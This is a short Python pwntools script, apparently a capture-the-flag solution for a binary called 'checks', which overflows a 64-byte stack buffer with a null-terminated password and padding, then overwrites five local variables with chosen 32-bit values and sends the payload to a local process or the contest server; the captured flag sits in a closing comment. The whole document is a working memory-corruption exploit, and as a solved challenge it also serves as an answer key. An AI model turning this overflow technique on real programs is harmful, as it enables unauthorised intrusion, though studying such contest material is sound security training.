#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./checks')

if args.REMOTE:
    io = remote('shell.actf.co', 21303)
else:
    io = process(binary.path)

PASSWORD = 'password123\0'

log.info(io.recvuntil(': '))

PAYLOAD = [
    PASSWORD + 'A' * (64 - len(PASSWORD)), # local_68
    'B' * 12,
    p32(0x11), # local_1c
    p32(0x3d), # local_18
    p32(0xf5), # local_14
    p32(0x37), # local_10
    p32(0x32) # local_c
]

print(flat(*PAYLOAD))
io.sendline(flat(*PAYLOAD))
io.stream() # actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}
